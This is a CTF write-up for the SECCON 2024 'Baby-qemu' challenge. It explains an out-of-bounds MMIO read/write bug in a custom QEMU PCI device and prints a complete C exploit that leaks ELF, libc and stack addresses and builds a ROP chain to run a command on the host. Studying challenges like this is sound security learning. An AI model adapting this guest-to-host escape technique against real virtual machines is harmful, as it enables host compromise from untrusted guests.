tsune Help

2025-18

Challenge information

  • CTF: SECCON CTF 2024

  • Challenge: Baby-qemu

  • Solves: N/A

  • Description: N/A

  • Time-wasting to solve: 150 min

Writeup

This is my first time to pwn VM. Vulnerable PCI device was provided.

PCI device driver is not extended module such as kernel driver. The device was completely built inside the qemu binary.

Screenshot_20251127_172658.png

I found pci_babydev_class_init, pci_babydev_realize by following xRef from identical string.

The critical vulnerability was obviously oob read/write.

static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) { PCIBabyDevState *ms = opaque; struct PCIBabyDevReg *reg = ms->reg_mmio; debug_printf("addr:%lx, size:%d\n", addr, size); switch(addr){ case MMIO_GET_DATA: debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]); return *(uint64_t*)&ms->buffer[reg->offset]; } return -1; } static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { PCIBabyDevState *ms = opaque; struct PCIBabyDevReg *reg = ms->reg_mmio; debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val); switch(addr){ case MMIO_SET_OFFSET: reg->offset = val; break; case MMIO_SET_OFFSET+4: reg->offset |= val << 32; break; case MMIO_SET_DATA: debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]); *(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1)); break; } }

Here's a dump around ms.buffer, which we can read/write out of bounds.

[ms.reg_mmio] 0x5555580d23f0|+0x0bf0|+382: 0x00005555580d3b40 <- allocated by g_malloc [ms.buffer] 0x5555580d23f8|+0x0bf8|+383: 0x0000000000000000 0x5555580d2400|+0x0c00|+384: 0x0000000000000000 ............... 0x5555580d2500|+0x0d00|+416: 0x0000000000000000 0x5555580d2508|+0x0d08|+417: 0x0000000000000061 0x5555580d2510|+0x0d10|+418: 0x00005555580d0720 -> 0x305b656369766564 'device[0]' 0x5555580d2518|+0x0d18|+419: 0x00005555580d0700 -> 0x61623c646c696863 'child<baby>' 0x5555580d2520|+0x0d20|+420: 0x0000000000000000 0x5555580d2528|+0x0d28|+421: 0x0000555555d084a0 -> 0x89485441fa1e0ff3 0x5555580d2530|+0x0d30|+422: 0x0000000000000000 0x5555580d2538|+0x0d38|+423: 0x0000555555d03330 -> 0x31f08948fa1e0ff3 0x5555580d2540|+0x0d40|+424: 0x0000555555d05bd0 -> 0x53028b48fa1e0ff3

Device and ms.reg_mmio were initialized at initial process of qemu, so the isolated address between ms.reg_mmio and ms is always constant.

Also, we can leak elf's base address from ms+0xd38. After leaking elf base address, I leaked libc address from uname@got, stack address from environ (libc).

Finally, chaining rop and rebooting a qemu launched the shell.

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define COLOR_RESET "\033[0m" #define COLOR_RED "\033[0;31m" #define COLOR_GREEN "\033[0;32m" #define COLOR_YELLOW "\033[0;33m" #define COLOR_BLUE "\033[0;34m" #define COLOR_MAGENTA "\033[0;35m" #define COLOR_CYAN "\033[0;36m" #define COLOR_ENABLE #ifdef COLOR_ENABLE #define info(fmt, ...) printf(COLOR_BLUE "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__); #define success(fmt, ...) printf(COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__); #define error(fmt, ...) printf(COLOR_RED "[-] " fmt COLOR_RESET "\n", ##__VA_ARGS__); #define warning(fmt, ...) printf(COLOR_YELLOW "[!] " fmt COLOR_RESET "\n", ##__VA_ARGS__); #define hl(x) printf(COLOR_MAGENTA "[#] " #x " = 0x%lx\n" COLOR_RESET ,(unsigned long)x); #else #define info(fmt, ...) printf("[*] " fmt "\n", ##__VA_ARGS__); #define success(fmt, ...) printf("[+] " fmt "\n", ##__VA_ARGS__); #define error(fmt, ...) printf("[-] " fmt "\n", ##__VA_ARGS__); #define warning(fmt, ...) printf("[!] " fmt "\n", ##__VA_ARGS__); #define hl(x) printf("[#] " #x " = 0x%lx\n",(unsigned long)x); #endif #define rep(X,Y) for (int X = 0;X < (Y);++X) #define drep(X,Y) for (unsigned long X = 0;X < (Y);X+=4) #define qrep(X,Y) for (unsigned long X = 0;X < (Y);X+=8) #define dqrep(X,Y) for (unsigned long X = 0;X < (Y);X+=16) #define irep(X) for (int X = 0;;++X) #define rrep(X,Y) for (int X = int(Y)-1;X >=0;--X) #define range(X,Y,Z) for (long X = Y;X < Z;X++) #define qrange(X,Y,Z) for (long X = Y;X < Z;X+=8) /* https://github.com/gmo-ierae/ierae-ctf/blob/main/2024/pwn/free2free/solution/exploit.c */ #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) { \ error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ exit(1); \ } \ __res; \ }) void _xxd_qword(char *buf, int size) { char *p = buf; dqrep (i, size) { printf("0x%06x |", (int)i); printf(" 0x%016lx ", *(unsigned long *)(p + i)); printf(" 0x%016lx ", *(unsigned long *)(p + i + 8)); printf("\n"); } } #define xxd_qword(X,Y) \ puts("[" #X "]"); \ _xxd_qword((char *)(X), (int)Y) void _xxd(char *buf, int size) { char *p = buf; dqrep (i, size) { printf("0x%06x |", (int)i); rep (j, 0x10) { printf(" %02x", *(unsigned char *)(p+i+j)); } printf(" |"); rep (j, 0x10) { if (*(unsigned char *)(p+i+j) < 0x20 || *(unsigned char *)(p+i+j) > 0x7e) { printf("."); } else { printf("%c", *(unsigned char *)(p + i + j)); } } printf("|\n"); } } #define xxd(X,Y) \ puts("[" #X "]"); \ _xxd((char *)(X), (int)Y) void *mmio; void set_offset(unsigned long offset) { *(volatile unsigned int*)(mmio + 0x0) = offset & 0xFFFFFFFF; *(volatile unsigned int*)(mmio + 0x4) = offset >> 32; } unsigned long pci_read(unsigned long offset) { set_offset(offset); return *(volatile unsigned long*)(mmio + 0x8); } void pci_write(unsigned long offset, unsigned long val) { set_offset(offset); *(volatile unsigned long*)(mmio + 0x8) = val; } #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> unsigned long pci_read64(long idx) { unsigned long ret = 0; unsigned char *p = (unsigned char*)&ret; rep(i,8) { p[i] = (unsigned char)(pci_read((unsigned long)(idx*8+i)) & 0xFF); } return ret; } void pci_write64(long idx, unsigned long val) { unsigned char *p = (unsigned char*)&val; rep(i,8) { pci_write((unsigned long)(idx*8+i), (unsigned long)p[i]); } } int main(void) { int fd = SYSCHK(open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC)); mmio = SYSCHK(mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)); unsigned long reg_mmio = pci_read64(-1); unsigned long buf = reg_mmio - (0x5555580d3b40 - 0x5555580d1800) + 0xbf8; unsigned long g_free = pci_read64(1-383); unsigned long elf_leak = pci_read64(423-383); unsigned long elf = elf_leak - (0x0000555555d03330 - 0x0000555555554000); hl(reg_mmio); hl(buf); hl(g_free); hl(elf_leak); hl(elf); unsigned long uname_got = elf + 0x18e0e38; hl(uname_got); unsigned long uname_libc = pci_read64((uname_got - buf)/8); hl(uname_libc); unsigned long libc = uname_libc - (0x00007ffff7310710 - 0x00007ffff7200000); hl(libc); unsigned long stack = pci_read64((libc + 2141528 - buf)/8); hl(stack); char cmd[] = "/bin/cat flag.txt\x00"; rep(i,sizeof(cmd)) { pci_write(0x30+i, (unsigned long)cmd[i]); } unsigned long chain[] = { libc + 0x1157bc, // pop rdi ; ret buf + 0x30, libc + 0x00000000001157bd, libc + 362320, }; unsigned char *p = (unsigned char*)chain; rep(i,0x20) { pci_write((stack - 0x3e*8 - buf)+i, (unsigned long)p[i]); } }
Screenshot_20251127_175149.png

This challenge was stimulating. As with the gocha-go I authored in IERAE CTF 2025, the platform and runtime itself are unusual, and the challenge of combining kernel exploits and userland exploits was very fun and creative.

Last modified: 27 November 2025